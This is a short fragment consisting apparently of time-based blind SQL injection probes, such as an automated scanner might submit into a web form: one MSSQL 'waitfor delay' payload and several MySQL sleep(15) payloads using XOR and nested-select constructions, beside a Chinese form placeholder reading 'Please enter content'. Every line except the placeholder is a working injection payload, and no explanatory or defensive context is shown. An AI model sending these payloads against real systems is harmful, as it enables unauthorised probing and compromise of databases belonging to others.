1-1; waitfor delay '0:0:15' --
请输入内容...
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select...
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z